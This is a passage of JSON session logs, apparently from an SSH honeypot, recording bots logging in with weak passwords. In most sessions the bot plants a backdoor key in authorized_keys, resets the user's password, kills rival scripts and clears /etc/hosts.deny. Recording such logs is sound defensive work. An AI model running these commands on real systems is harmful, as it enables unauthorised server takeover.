node\n^C"},{"seq":23,"at":"2026-08-26T13:34:43.635209+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T13:34:44.175358+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T13:34:45.114455+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T13:34:45.728874+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T13:34:46.613292+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T13:34:47.422432+00:00","kind":"output","latency_ms":null,"data":"admin"},{"seq":29,"at":"2026-08-26T13:34:48.597335+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T13:34:49.900858+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T13:34:51.197136+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T13:34:52.070292+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"admin","password":"xyz","method":"password","accepted":true,"tier":"other"}]} {"id":"da92bc9e-150f-4b5a-ad69-f938ec97f30e","name":"crimson-prairie-skink","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":51316,"username":"admin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:34:25.413938+00:00","ended_at":"2026-08-26T13:34:27.115546+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"admin","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"703c63a9-4af3-4cb2-a933-5757f3935831","name":"fierce-silent-mallard","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":51308,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:34:21.602796+00:00","ended_at":"2026-08-26T13:34:23.619849+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"6e449071-5714-41e6-897b-6909492a920f","name":"wiry-mottled-hummingbird","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":51100,"username":"valentina","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":1200,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T13:31:42.417745+00:00","ended_at":"2026-08-26T13:31:44.025795+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2262,"events":[{"seq":1,"at":"2026-08-26T13:31:08.001792+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T13:31:08.913296+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T13:31:15.900996+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T13:31:15.901311+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T13:31:17.644199+00:00","kind":"input","latency_ms":null,"data":"echo -e \"valentina\\nBKiyOno3WGk1\\nBKiyOno3WGk1\"|passwd|bash"},{"seq":6,"at":"2026-08-26T13:31:18.240744+00:00","kind":"output","latency_ms":null,"data":""},{"seq":7,"at":"2026-08-26T13:31:18.598376+00:00","kind":"input","latency_ms":null,"data":"echo \"valentina\\nBKiyOno3WGk1\\nBKiyOno3WGk1\\n\"|passwd"},{"seq":8,"at":"2026-08-26T13:31:19.345841+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T13:31:19.724704+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":10,"at":"2026-08-26T13:31:20.536210+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-26T13:31:22.246906+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-26T13:31:22.812936+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T13:31:24.019546+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-26T13:31:24.514966+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-26T13:31:25.713573+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-26T13:31:26.201679+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-26T13:31:27.117400+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-26T13:31:27.865560+00:00","kind":"output","latency_ms":null,"data":" 13:31:27 up 6 days, 10:21, 0 user, load average: 0.31, 0.24, 0.29\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-26T13:31:29.103555+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-26T13:31:29.809257+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-26T13:31:30.724116+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-26T13:31:31.430740+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-26T13:31:33.916430+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-26T13:31:33.917180+00:00","kind":"output","latency_ms":null,"data":"top - 13:31:33 up 6 days, 10:21, 0 user, load average: 0.31, 0.24, 0.29\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-26T13:31:35.118255+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-26T13:31:35.118683+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-26T13:31:36.024495+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-26T13:31:36.024968+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-26T13:31:37.317157+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-26T13:31:37.789054+00:00","kind":"output","latency_ms":null,"data":"valentina"},{"seq":31,"at":"2026-08-26T13:31:40.008379+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-26T13:31:41.514794+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-26T13:31:42.418867+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-26T13:31:43.729603+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"valentina","password":"valentina","method":"password","accepted":true,"tier":"other"}]} {"id":"fcf3291b-e78e-445e-94b2-3a8e22f9424d","name":"austere-thawing-avocet","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":51116,"username":"valentina","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:31:14.699141+00:00","ended_at":"2026-08-26T13:31:15.598681+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"valentina","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"6f75eb0e-b77f-4e84-ab19-73ef149b645f","name":"rapid-languid-jackal","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":51108,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:31:10.938070+00:00","ended_at":"2026-08-26T13:31:12.963000+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"18e61d27-ebe7-4c71-8696-b24a854aad5b","name":"gallant-faded-grouse","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":50902,"username":"zzl","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":1207,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T13:28:25.500665+00:00","ended_at":"2026-08-26T13:28:26.300194+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2242,"events":[{"seq":1,"at":"2026-08-26T13:27:53.820285+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T13:27:54.711916+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T13:28:04.866178+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T13:28:04.866615+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T13:28:06.634649+00:00","kind":"input","latency_ms":null,"data":"echo -e \"zzl\\nbRQ3zmIipCS6\\nbRQ3zmIipCS6\"|passwd|bash"},{"seq":6,"at":"2026-08-26T13:28:07.536040+00:00","kind":"input","latency_ms":null,"data":"echo \"zzl\\nbRQ3zmIipCS6\\nbRQ3zmIipCS6\\n\"|passwd"},{"seq":7,"at":"2026-08-26T13:28:08.128595+00:00","kind":"output","latency_ms":null,"data":""},{"seq":8,"at":"2026-08-26T13:28:08.705548+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-26T13:28:08.706068+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T13:28:10.398689+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T13:28:10.984744+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T13:28:12.838042+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T13:28:13.387681+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T13:28:14.701687+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T13:28:14.702511+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T13:28:15.926566+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T13:28:15.935914+00:00","kind":"output","latency_ms":null,"data":" 13:28:15 up 6 days, 10:18, 0 user, load average: 0.2, 0.19, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T13:28:16.810132+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T13:28:16.811258+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T13:28:17.710959+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T13:28:17.711402+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T13:28:20.101729+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T13:28:20.102096+00:00","kind":"output","latency_ms":null,"data":"top - 13:28:20 up 6 days, 10:18, 0 user, load average: 0.2, 0.19, 0.19\nTasks: 128 total, 1 running, 127 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T13:28:21.309507+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T13:28:21.310003+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T13:28:22.226901+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T13:28:22.227618+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T13:28:23.146495+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T13:28:23.147082+00:00","kind":"output","latency_ms":null,"data":"zzl"},{"seq":30,"at":"2026-08-26T13:28:24.054119+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T13:28:24.613745+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T13:28:25.501311+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T13:28:26.005934+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"zzl","password":"zzl","method":"password","accepted":true,"tier":"other"}]} {"id":"3cd819fd-7e65-4531-b5da-b261e0a40c50","name":"marbled-daring-stonechat","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":50918,"username":"zzl","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:28:01.707164+00:00","ended_at":"2026-08-26T13:28:03.421150+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"zzl","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"92367b0b-15ec-44bf-bda2-aa08b815dd19","name":"ivory-spirited-cougar","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":50910,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:27:56.908909+00:00","ended_at":"2026-08-26T13:27:59.908010+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"922fe175-b81b-4b89-920c-08269d74bae3","name":"orderly-eager-vervet","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":50712,"username":"junior","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:24:39.447514+00:00","ended_at":"2026-08-26T13:24:40.420047+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"junior","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"767c3b55-b00e-4733-a64c-b6418518bb16","name":"crimson-peaty-panther","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":50708,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:24:35.901300+00:00","ended_at":"2026-08-26T13:24:37.601806+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"7eb3db04-258b-4b6e-9f52-ac105ef217d3","name":"lonesome-drifting-owl","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":50696,"username":"junior","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T13:24:31.836562+00:00","ended_at":"2026-08-26T13:24:33.795503+00:00","ended_reason":"exec complete","commands":1,"transcript_bytes":65,"events":[{"seq":1,"at":"2026-08-26T13:24:31.837360+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T13:24:33.215124+00:00","kind":"output","latency_ms":null,"data":"-bash: cd: command not found"}],"credentials":[{"username":"junior","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"9341314a-c666-428a-ad30-b5e08049bc6c","name":"wry-tender-civet","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":50494,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":1209,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T13:21:47.359998+00:00","ended_at":"2026-08-26T13:21:48.920783+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T13:21:05.297286+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T13:21:07.496380+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T13:21:18.598102+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T13:21:19.377202+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T13:21:20.317663+00:00","kind":"input","latency_ms":null,"data":"echo \"root:qrYuyjrhTzOe\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T13:21:21.199024+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T13:21:22.108710+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T13:21:22.574197+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T13:21:25.801425+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T13:21:26.690399+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T13:21:27.900266+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T13:21:28.837634+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T13:21:30.594672+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T13:21:31.010352+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T13:21:31.899716+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T13:21:32.225841+00:00","kind":"output","latency_ms":null,"data":" 13:21:32 up 6 days, 10:11, 0 user, load average: 0.21, 0.21, 0.24\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T13:21:33.113503+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T13:21:33.479107+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T13:21:34.405087+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T13:21:34.702659+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T13:21:35.601029+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T13:21:36.456220+00:00","kind":"output","latency_ms":null,"data":"top - 13:21:36 up 6 days, 10:11, 0 user, load average: 0.21, 0.21, 0.24\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T13:21:37.896986+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T13:21:38.243510+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T13:21:40.804439+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T13:21:41.641619+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T13:21:43.323069+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T13:21:43.783267+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T13:21:44.998523+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T13:21:46.500366+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T13:21:47.360463+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T13:21:48.633559+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"kim","method":"password","accepted":true,"tier":"other"}]} {"id":"727c4a6a-7880-4112-a8ac-8d26f09ac588","name":"jolly-bronzed-gannet","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":50510,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:21:14.826027+00:00","ended_at":"2026-08-26T13:21:16.827367+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"6c7616e5-8443-479a-b1dd-bdfdc090db6e","name":"gloomy-ruddy-shearwater","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":50504,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:21:11.530509+00:00","ended_at":"2026-08-26T13:21:13.031199+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"1261f400-7a1d-4efd-b2a7-d9feaf63e031","name":"autumn-cobalt-dormouse","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":50286,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":951,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T13:18:24.164394+00:00","ended_at":"2026-08-26T13:18:26.224187+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-26T13:17:45.036698+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia 